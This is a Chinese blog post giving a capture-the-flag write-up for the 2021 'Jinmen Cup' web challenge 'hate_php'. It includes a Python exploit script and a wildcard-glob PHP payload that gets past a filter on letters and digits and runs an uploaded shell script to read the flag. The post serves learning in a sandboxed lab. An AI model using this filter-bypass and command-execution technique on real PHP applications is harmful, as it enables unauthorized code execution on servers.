2021-第五届世界智能大会-「津门杯」国际网络安全创新大赛-Web-hate_php

2021-第五届世界智能大会-「津门杯」国际网络安全创新大赛-Web-hate_php

打开网址直接告诉你过滤的代码,把字母数字和$、_、@都过滤了,直接放弃
在这里插入图片描述
然后百度搜了这道题的答案,感觉发现了新大陆一样,下面是相关的几篇文章,强烈推荐阅读:
过滤了大写字母和数字的绕过方法:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

过滤了大小写字母、数字、‘$’和‘_’
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list

看完了这两篇文章这道题就基本解决了
先看本题的思路,同样是上传一个shell命令文件到网站的tmp目录下,用linux系统的特性构造payload执行这个文件
下面是简单的利用代码

import requests

headers = {
  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0'
}
payload = '?code=?><?=`. /???/????????[?-[]`;?>'
url = 'http://challenge-25e97be714485b25.sandbox.ctfhub.com:10800/' + payload
files = {
    'file':open('./payload.txt','r')
}

proxy = {
    'http':'http://127.0.0.1:8888',
    'https':'http://127.0.0.1:8888'
}

response = requests.post(url=url, headers=headers, files=files, proxies=proxy, verify=False).text
print(response)

上传的payload文件的内容

#!/bin/sh
cat /flag

这里有个问题就是上传的文件在服务端会给一个随机的名称,所以可能不会一次就成功,需要多找几次,结果如下
在这里插入图片描述
这里是我做题的时侯的一个问题的记录

  1. 为什么php可以接受post请求上传的文件?
    查阅资料发现php的配置有一个选项
    在这里插入图片描述
    查看一下服务器的php配置文件的信息,查看phpinfo的信息
    通过修改payload里面的内容如下可以查看到phpinfo的信息(可以尝试其他方式)
    在这里插入图片描述
    从结果可以看到一些重要的信息
    在这里插入图片描述
    file_uploads = on 说明php文件可以接受post的文件上传请求
    在这里插入图片描述
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值